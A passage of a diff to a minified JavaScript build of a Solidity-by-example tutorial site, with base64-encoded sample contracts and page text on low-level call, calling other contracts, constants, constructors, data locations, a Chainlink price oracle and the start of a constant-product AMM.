Nlc3MsIGRhdGEpOwogICAgfQp9Cg=="}],uA=`

                  call is a low level function to interact with other contracts.

                  +`,Iy=({prev:s,next:a})=>r.jsx(u,{version:oy,title:ry,description:iy,html:hy,prev:s,next:a,codes:gy}),dy="0.8.24",Cy="Call",jy="In Solidity call is a low level function to interact with other contracts",uy=[{fileName:"Call.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVyIHsKICAgIGV2ZW50IFJlY2VpdmVkKGFkZHJlc3MgY2FsbGVyLCB1aW50MjU2IGFtb3VudCwgc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsICJGYWxsYmFjayB3YXMgY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gZm9vKHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsIHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIF9tZXNzYWdlKTsKCiAgICAgICAgcmV0dXJuIF94ICsgMTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGV2ZW50IFJlc3BvbnNlKGJvb2wgc3VjY2VzcywgYnl0ZXMgZGF0YSk7CgogICAgLy8gTGV0J3MgaW1hZ2luZSB0aGF0IGNvbnRyYWN0IENhbGxlciBkb2VzIG5vdCBoYXZlIHRoZSBzb3VyY2UgY29kZSBmb3IgdGhlCiAgICAvLyBjb250cmFjdCBSZWNlaXZlciwgYnV0IHdlIGRvIGtub3cgdGhlIGFkZHJlc3Mgb2YgY29udHJhY3QgUmVjZWl2ZXIgYW5kIHRoZSBmdW5jdGlvbiB0byBjYWxsLgogICAgZnVuY3Rpb24gdGVzdENhbGxGb28oYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gWW91IGNhbiBzZW5kIGV0aGVyIGFuZCBzcGVjaWZ5IGEgY3VzdG9tIGdhcyBhbW91bnQKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgZGF0YSkgPSBfYWRkci5jYWxsewogICAgICAgICAgICB2YWx1ZTogbXNnLnZhbHVlLAogICAgICAgICAgICBnYXM6IDUwMDAKICAgICAgICB9KGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJmb28oc3RyaW5nLHVpbnQyNTYpIiwgImNhbGwgZm9vIiwgMTIzKSk7CgogICAgICAgIGVtaXQgUmVzcG9uc2Uoc3VjY2VzcywgZGF0YSk7CiAgICB9CgogICAgLy8gQ2FsbGluZyBhIGZ1bmN0aW9uIHRoYXQgZG9lcyBub3QgZXhpc3QgdHJpZ2dlcnMgdGhlIGZhbGxiYWNrIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gdGVzdENhbGxEb2VzTm90RXhpc3QoYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IGRhdGEpID0gX2FkZHIuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfSgKICAgICAgICAgICAgYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImRvZXNOb3RFeGlzdCgpIikKICAgICAgICApOwoKICAgICAgICBlbWl0IFJlc3BvbnNlKHN1Y2Nlc3MsIGRhdGEpOwogICAgfQp9Cg=="}],Ay=`

                  call is a low level function to interact with other contracts.

                  This is the recommended method to use when you're just sending Ether via calling the fallback function.

                  However it is not the recommend way to call existing functions.

                  Few reasons why low-level call is not recommended

                  @@ -3683,7 +3683,7 @@ Each slot in the array can store 32 bytes.

                  emit Response(success, data); } } -`,yA=({prev:s,next:a})=>r.jsx(u,{version:dA,title:IA,description:CA,html:uA,prev:s,next:a,codes:jA}),AA="0.8.24",mA="Calling Other Contract",bA="In Solidity, contract can call other contracts in several ways",wA=[{fileName:"CallingContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhbGxlZSB7CiAgICB1aW50MjU2IHB1YmxpYyB4OwogICAgdWludDI1NiBwdWJsaWMgdmFsdWU7CgogICAgZnVuY3Rpb24gc2V0WCh1aW50MjU2IF94KSBwdWJsaWMgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHggPSBfeDsKICAgICAgICByZXR1cm4geDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYsIHVpbnQyNTYpCiAgICB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHZhbHVlID0gbXNnLnZhbHVlOwoKICAgICAgICByZXR1cm4gKHgsIHZhbHVlKTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGZ1bmN0aW9uIHNldFgoQ2FsbGVlIF9jYWxsZWUsIHVpbnQyNTYgX3gpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB4ID0gX2NhbGxlZS5zZXRYKF94KTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYRnJvbUFkZHJlc3MoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfeCkgcHVibGljIHsKICAgICAgICBDYWxsZWUgY2FsbGVlID0gQ2FsbGVlKF9hZGRyKTsKICAgICAgICBjYWxsZWUuc2V0WChfeCk7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0WGFuZFNlbmRFdGhlcihDYWxsZWUgX2NhbGxlZSwgdWludDI1NiBfeCkgcHVibGljIHBheWFibGUgewogICAgICAgICh1aW50MjU2IHgsIHVpbnQyNTYgdmFsdWUpID0KICAgICAgICAgICAgX2NhbGxlZS5zZXRYYW5kU2VuZEV0aGVye3ZhbHVlOiBtc2cudmFsdWV9KF94KTsKICAgIH0KfQo="}],kA=`

                  Contract can call other contracts in 2 ways.

                  +`,yy=({prev:s,next:a})=>r.jsx(u,{version:dy,title:Cy,description:jy,html:Ay,prev:s,next:a,codes:uy}),my="0.8.24",by="Calling Other Contract",wy="In Solidity, contract can call other contracts in several ways",ky=[{fileName:"CallingContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENhbGxlZSB7CiAgICB1aW50MjU2IHB1YmxpYyB4OwogICAgdWludDI1NiBwdWJsaWMgdmFsdWU7CgogICAgZnVuY3Rpb24gc2V0WCh1aW50MjU2IF94KSBwdWJsaWMgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHggPSBfeDsKICAgICAgICByZXR1cm4geDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYsIHVpbnQyNTYpCiAgICB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHZhbHVlID0gbXNnLnZhbHVlOwoKICAgICAgICByZXR1cm4gKHgsIHZhbHVlKTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGZ1bmN0aW9uIHNldFgoQ2FsbGVlIF9jYWxsZWUsIHVpbnQyNTYgX3gpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB4ID0gX2NhbGxlZS5zZXRYKF94KTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYRnJvbUFkZHJlc3MoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfeCkgcHVibGljIHsKICAgICAgICBDYWxsZWUgY2FsbGVlID0gQ2FsbGVlKF9hZGRyKTsKICAgICAgICBjYWxsZWUuc2V0WChfeCk7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0WGFuZFNlbmRFdGhlcihDYWxsZWUgX2NhbGxlZSwgdWludDI1NiBfeCkgcHVibGljIHBheWFibGUgewogICAgICAgICh1aW50MjU2IHgsIHVpbnQyNTYgdmFsdWUpID0KICAgICAgICAgICAgX2NhbGxlZS5zZXRYYW5kU2VuZEV0aGVye3ZhbHVlOiBtc2cudmFsdWV9KF94KTsKICAgIH0KfQo="}],Zy=`

                  Contract can call other contracts in 2 ways.

                  The easiest way to is to just call it, like A.foo(x, y, z).

                  Another way to call other contracts is to use the low-level call.

                  This method is not recommended.

                  @@ -3726,7 +3726,7 @@ Each slot in the array can store 32 bytes.

                  _callee.setXandSendEther{value: msg.value}(_x); } } -`,ZA=({prev:s,next:a})=>r.jsx(u,{version:AA,title:mA,description:bA,html:kA,prev:s,next:a,codes:wA}),WA="0.8.24",GA="Constants",BA="Constant variables",VA=[{fileName:"Constants.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvbnN0YW50cyB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBjb25zdGFudCBNWV9BRERSRVNTID0KICAgICAgICAweDc3Nzc4ODg4OTk5OUFhQUFiQmJiQ2NjY2RkRGRlZWVFZkZGZkNjQ2M7CiAgICB1aW50MjU2IHB1YmxpYyBjb25zdGFudCBNWV9VSU5UID0gMTIzOwp9Cg=="}],fA=`

                  Constants are variables that cannot be modified.

                  +`,Wy=({prev:s,next:a})=>r.jsx(u,{version:my,title:by,description:wy,html:Zy,prev:s,next:a,codes:ky}),By="0.8.24",Gy="Constants",Vy="Constant variables",fy=[{fileName:"Constants.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvbnN0YW50cyB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBjb25zdGFudCBNWV9BRERSRVNTID0KICAgICAgICAweDc3Nzc4ODg4OTk5OUFhQUFiQmJiQ2NjY2RkRGRlZWVFZkZGZkNjQ2M7CiAgICB1aW50MjU2IHB1YmxpYyBjb25zdGFudCBNWV9VSU5UID0gMTIzOwp9Cg=="}],Yy=`

                  Constants are variables that cannot be modified.

                  Their value is hard coded and using constants can save gas cost.

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -3737,7 +3737,7 @@ Each slot in the array can store 32 bytes.
                  
         0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc;
     uint256 public constant MY_UINT = 123;
 }
-
                  `,YA=({prev:s,next:a})=>r.jsx(u,{version:WA,title:GA,description:BA,html:fA,prev:s,next:a,codes:VA}),RA="0.8.24",XA="Constructor",vA="Learn how to initialize smart contracts in Solidity using a constructor",NA=[{fileName:"Constructor.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEJhc2UgY29udHJhY3QgWApjb250cmFjdCBYIHsKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgfQp9CgovLyBCYXNlIGNvbnRyYWN0IFkKY29udHJhY3QgWSB7CiAgICBzdHJpbmcgcHVibGljIHRleHQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfdGV4dCkgewogICAgICAgIHRleHQgPSBfdGV4dDsKICAgIH0KfQoKLy8gVGhlcmUgYXJlIDIgd2F5cyB0byBpbml0aWFsaXplIHBhcmVudCBjb250cmFjdCB3aXRoIHBhcmFtZXRlcnMuCgovLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGluaGVyaXRhbmNlIGxpc3QuCmNvbnRyYWN0IEIgaXMgWCgiSW5wdXQgdG8gWCIpLCBZKCJJbnB1dCB0byBZIikge30KCmNvbnRyYWN0IEMgaXMgWCwgWSB7CiAgICAvLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGNvbnN0cnVjdG9yLAogICAgLy8gc2ltaWxhciB0byBmdW5jdGlvbiBtb2RpZmllcnMuCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF90ZXh0KSBYKF9uYW1lKSBZKF90ZXh0KSB7fQp9CgovLyBQYXJlbnQgY29uc3RydWN0b3JzIGFyZSBhbHdheXMgY2FsbGVkIGluIHRoZSBvcmRlciBvZiBpbmhlcml0YW5jZQovLyByZWdhcmRsZXNzIG9mIHRoZSBvcmRlciBvZiBwYXJlbnQgY29udHJhY3RzIGxpc3RlZCBpbiB0aGUKLy8gY29uc3RydWN0b3Igb2YgdGhlIGNoaWxkIGNvbnRyYWN0LgoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEQKY29udHJhY3QgRCBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWCgiWCB3YXMgY2FsbGVkIikgWSgiWSB3YXMgY2FsbGVkIikge30KfQoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEUKY29udHJhY3QgRSBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWSgiWSB3YXMgY2FsbGVkIikgWCgiWCB3YXMgY2FsbGVkIikge30KfQo="}],HA=`

                  A constructor is an optional function that is executed upon contract creation.

                  +`,Ry=({prev:s,next:a})=>r.jsx(u,{version:By,title:Gy,description:Vy,html:Yy,prev:s,next:a,codes:fy}),Xy="0.8.24",vy="Constructor",Ny="Learn how to initialize smart contracts in Solidity using a constructor",Hy=[{fileName:"Constructor.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEJhc2UgY29udHJhY3QgWApjb250cmFjdCBYIHsKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgfQp9CgovLyBCYXNlIGNvbnRyYWN0IFkKY29udHJhY3QgWSB7CiAgICBzdHJpbmcgcHVibGljIHRleHQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfdGV4dCkgewogICAgICAgIHRleHQgPSBfdGV4dDsKICAgIH0KfQoKLy8gVGhlcmUgYXJlIDIgd2F5cyB0byBpbml0aWFsaXplIHBhcmVudCBjb250cmFjdCB3aXRoIHBhcmFtZXRlcnMuCgovLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGluaGVyaXRhbmNlIGxpc3QuCmNvbnRyYWN0IEIgaXMgWCgiSW5wdXQgdG8gWCIpLCBZKCJJbnB1dCB0byBZIikge30KCmNvbnRyYWN0IEMgaXMgWCwgWSB7CiAgICAvLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGNvbnN0cnVjdG9yLAogICAgLy8gc2ltaWxhciB0byBmdW5jdGlvbiBtb2RpZmllcnMuCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF90ZXh0KSBYKF9uYW1lKSBZKF90ZXh0KSB7fQp9CgovLyBQYXJlbnQgY29uc3RydWN0b3JzIGFyZSBhbHdheXMgY2FsbGVkIGluIHRoZSBvcmRlciBvZiBpbmhlcml0YW5jZQovLyByZWdhcmRsZXNzIG9mIHRoZSBvcmRlciBvZiBwYXJlbnQgY29udHJhY3RzIGxpc3RlZCBpbiB0aGUKLy8gY29uc3RydWN0b3Igb2YgdGhlIGNoaWxkIGNvbnRyYWN0LgoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEQKY29udHJhY3QgRCBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWCgiWCB3YXMgY2FsbGVkIikgWSgiWSB3YXMgY2FsbGVkIikge30KfQoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEUKY29udHJhY3QgRSBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWSgiWSB3YXMgY2FsbGVkIikgWCgiWCB3YXMgY2FsbGVkIikge30KfQo="}],Fy=`

                  A constructor is an optional function that is executed upon contract creation.

                  Here are examples of how to pass arguments to constructors.

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -3790,7 +3790,7 @@ Each slot in the array can store 32 bytes.
                  
 contract E is X, Y {
     constructor() Y("Y was called") X("X was called") {}
 }
-
                  `,FA=({prev:s,next:a})=>r.jsx(u,{version:RA,title:XA,description:vA,html:HA,prev:s,next:a,codes:NA}),KA="0.8.24",SA="Data Locations - Storage, Memory and Calldata",MA="Data locations - storage, memory and calldata",xA=[{fileName:"DataLocations.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERhdGFMb2NhdGlvbnMgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gYWRkcmVzcykgbWFwOwoKICAgIHN0cnVjdCBNeVN0cnVjdCB7CiAgICAgICAgdWludDI1NiBmb287CiAgICB9CgogICAgbWFwcGluZyh1aW50MjU2ID0+IE15U3RydWN0KSBteVN0cnVjdHM7CgogICAgZnVuY3Rpb24gZigpIHB1YmxpYyB7CiAgICAgICAgLy8gY2FsbCBfZiB3aXRoIHN0YXRlIHZhcmlhYmxlcwogICAgICAgIF9mKGFyciwgbWFwLCBteVN0cnVjdHNbMV0pOwoKICAgICAgICAvLyBnZXQgYSBzdHJ1Y3QgZnJvbSBhIG1hcHBpbmcKICAgICAgICBNeVN0cnVjdCBzdG9yYWdlIG15U3RydWN0ID0gbXlTdHJ1Y3RzWzFdOwogICAgICAgIC8vIGNyZWF0ZSBhIHN0cnVjdCBpbiBtZW1vcnkKICAgICAgICBNeVN0cnVjdCBtZW1vcnkgbXlNZW1TdHJ1Y3QgPSBNeVN0cnVjdCgwKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZigKICAgICAgICB1aW50MjU2W10gc3RvcmFnZSBfYXJyLAogICAgICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBzdG9yYWdlIF9tYXAsCiAgICAgICAgTXlTdHJ1Y3Qgc3RvcmFnZSBfbXlTdHJ1Y3QKICAgICkgaW50ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIHN0b3JhZ2UgdmFyaWFibGVzCiAgICB9CgogICAgLy8gWW91IGNhbiByZXR1cm4gbWVtb3J5IHZhcmlhYmxlcwogICAgZnVuY3Rpb24gZyh1aW50MjU2W10gbWVtb3J5IF9hcnIpIHB1YmxpYyByZXR1cm5zICh1aW50MjU2W10gbWVtb3J5KSB7CiAgICAgICAgLy8gZG8gc29tZXRoaW5nIHdpdGggbWVtb3J5IGFycmF5CiAgICB9CgogICAgZnVuY3Rpb24gaCh1aW50MjU2W10gY2FsbGRhdGEgX2FycikgZXh0ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIGNhbGxkYXRhIGFycmF5CiAgICB9Cn0K"}],JA=`

                  Variables are declared as either storage, memory or calldata to explicitly +`,Ky=({prev:s,next:a})=>r.jsx(u,{version:Xy,title:vy,description:Ny,html:Fy,prev:s,next:a,codes:Hy}),Sy="0.8.24",My="Data Locations - Storage, Memory and Calldata",xy="Data locations - storage, memory and calldata",Jy=[{fileName:"DataLocations.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IERhdGFMb2NhdGlvbnMgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gYWRkcmVzcykgbWFwOwoKICAgIHN0cnVjdCBNeVN0cnVjdCB7CiAgICAgICAgdWludDI1NiBmb287CiAgICB9CgogICAgbWFwcGluZyh1aW50MjU2ID0+IE15U3RydWN0KSBteVN0cnVjdHM7CgogICAgZnVuY3Rpb24gZigpIHB1YmxpYyB7CiAgICAgICAgLy8gY2FsbCBfZiB3aXRoIHN0YXRlIHZhcmlhYmxlcwogICAgICAgIF9mKGFyciwgbWFwLCBteVN0cnVjdHNbMV0pOwoKICAgICAgICAvLyBnZXQgYSBzdHJ1Y3QgZnJvbSBhIG1hcHBpbmcKICAgICAgICBNeVN0cnVjdCBzdG9yYWdlIG15U3RydWN0ID0gbXlTdHJ1Y3RzWzFdOwogICAgICAgIC8vIGNyZWF0ZSBhIHN0cnVjdCBpbiBtZW1vcnkKICAgICAgICBNeVN0cnVjdCBtZW1vcnkgbXlNZW1TdHJ1Y3QgPSBNeVN0cnVjdCgwKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZigKICAgICAgICB1aW50MjU2W10gc3RvcmFnZSBfYXJyLAogICAgICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBzdG9yYWdlIF9tYXAsCiAgICAgICAgTXlTdHJ1Y3Qgc3RvcmFnZSBfbXlTdHJ1Y3QKICAgICkgaW50ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIHN0b3JhZ2UgdmFyaWFibGVzCiAgICB9CgogICAgLy8gWW91IGNhbiByZXR1cm4gbWVtb3J5IHZhcmlhYmxlcwogICAgZnVuY3Rpb24gZyh1aW50MjU2W10gbWVtb3J5IF9hcnIpIHB1YmxpYyByZXR1cm5zICh1aW50MjU2W10gbWVtb3J5KSB7CiAgICAgICAgLy8gZG8gc29tZXRoaW5nIHdpdGggbWVtb3J5IGFycmF5CiAgICB9CgogICAgZnVuY3Rpb24gaCh1aW50MjU2W10gY2FsbGRhdGEgX2FycikgZXh0ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIGNhbGxkYXRhIGFycmF5CiAgICB9Cn0K"}],zy=`

                  Variables are declared as either storage, memory or calldata to explicitly specify the location of the data.

                  • storage - variable is a state variable (store on blockchain)
                    • @@ -3837,7 +3837,7 @@ specify the location of the data.

                    // do something with calldata array } } -`,zA=({prev:s,next:a})=>r.jsx(u,{version:KA,title:SA,description:MA,html:JA,prev:s,next:a,codes:xA}),EA="0.8.24",UA="Chainlink Price Oracle",TA="Chainlink Price Oracle",QA=[{fileName:"Chainlink.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENoYWlubGlua1ByaWNlT3JhY2xlIHsKICAgIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSBpbnRlcm5hbCBwcmljZUZlZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gRVRIIC8gVVNECiAgICAgICAgcHJpY2VGZWVkID0KICAgICAgICAgICAgQWdncmVnYXRvclYzSW50ZXJmYWNlKDB4NWY0ZUMzRGY5Y2JkNDM3MTRGRTI3NDBmNUUzNjE2MTU1YzViODQxOSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGF0ZXN0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChpbnQyNTYpIHsKICAgICAgICAoCiAgICAgICAgICAgIHVpbnQ4MCByb3VuZElELAogICAgICAgICAgICBpbnQyNTYgcHJpY2UsCiAgICAgICAgICAgIHVpbnQyNTYgc3RhcnRlZEF0LAogICAgICAgICAgICB1aW50MjU2IHRpbWVTdGFtcCwKICAgICAgICAgICAgdWludDgwIGFuc3dlcmVkSW5Sb3VuZAogICAgICAgICkgPSBwcmljZUZlZWQubGF0ZXN0Um91bmREYXRhKCk7CiAgICAgICAgLy8gZm9yIEVUSCAvIFVTRCBwcmljZSBpcyBzY2FsZWQgdXAgYnkgMTAgKiogOAogICAgICAgIHJldHVybiBwcmljZSAvIDFlODsKICAgIH0KfQoKaW50ZXJmYWNlIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSB7CiAgICBmdW5jdGlvbiBsYXRlc3RSb3VuZERhdGEoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICB1aW50ODAgcm91bmRJZCwKICAgICAgICAgICAgaW50MjU2IGFuc3dlciwKICAgICAgICAgICAgdWludDI1NiBzdGFydGVkQXQsCiAgICAgICAgICAgIHVpbnQyNTYgdXBkYXRlZEF0LAogICAgICAgICAgICB1aW50ODAgYW5zd2VyZWRJblJvdW5kCiAgICAgICAgKTsKfQo="}],DA=`

                    ETH / USD Price Oracle

                    +`,Ey=({prev:s,next:a})=>r.jsx(u,{version:Sy,title:My,description:xy,html:zy,prev:s,next:a,codes:Jy}),Dy="0.8.24",Ty="Chainlink Price Oracle",Uy="Chainlink Price Oracle",Qy=[{fileName:"Chainlink.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENoYWlubGlua1ByaWNlT3JhY2xlIHsKICAgIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSBpbnRlcm5hbCBwcmljZUZlZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gRVRIIC8gVVNECiAgICAgICAgcHJpY2VGZWVkID0KICAgICAgICAgICAgQWdncmVnYXRvclYzSW50ZXJmYWNlKDB4NWY0ZUMzRGY5Y2JkNDM3MTRGRTI3NDBmNUUzNjE2MTU1YzViODQxOSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGF0ZXN0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChpbnQyNTYpIHsKICAgICAgICAoCiAgICAgICAgICAgIHVpbnQ4MCByb3VuZElELAogICAgICAgICAgICBpbnQyNTYgcHJpY2UsCiAgICAgICAgICAgIHVpbnQyNTYgc3RhcnRlZEF0LAogICAgICAgICAgICB1aW50MjU2IHRpbWVTdGFtcCwKICAgICAgICAgICAgdWludDgwIGFuc3dlcmVkSW5Sb3VuZAogICAgICAgICkgPSBwcmljZUZlZWQubGF0ZXN0Um91bmREYXRhKCk7CiAgICAgICAgLy8gZm9yIEVUSCAvIFVTRCBwcmljZSBpcyBzY2FsZWQgdXAgYnkgMTAgKiogOAogICAgICAgIHJldHVybiBwcmljZSAvIDFlODsKICAgIH0KfQoKaW50ZXJmYWNlIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSB7CiAgICBmdW5jdGlvbiBsYXRlc3RSb3VuZERhdGEoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICB1aW50ODAgcm91bmRJZCwKICAgICAgICAgICAgaW50MjU2IGFuc3dlciwKICAgICAgICAgICAgdWludDI1NiBzdGFydGVkQXQsCiAgICAgICAgICAgIHVpbnQyNTYgdXBkYXRlZEF0LAogICAgICAgICAgICB1aW50ODAgYW5zd2VyZWRJblJvdW5kCiAgICAgICAgKTsKfQo="}],_y=`

                    ETH / USD Price Oracle

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3875,7 +3875,7 @@ specify the location of the data.
                    
             uint80 answeredInRound
         );
 }
-
                    `,LA=({prev:s,next:a})=>r.jsx(u,{version:EA,title:UA,description:TA,html:DA,prev:s,next:a,codes:QA}),_A="0.8.24",OA="Constant Product AMM",PA="Constant product AMM",$A=[{fileName:"CPAMM.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract CPAMM {
    IERC20 public immutable token0;
    IERC20 public immutable token1;

    uint256 public reserve0;
    uint256 public reserve1;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address _token0, address _token1) {
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    function _update(uint256 _reserve0, uint256 _reserve1) private {
        reserve0 = _reserve0;
        reserve1 = _reserve1;
    }

    function swap(address _tokenIn, uint256 _amountIn)
        external
        returns (uint256 amountOut)
    {
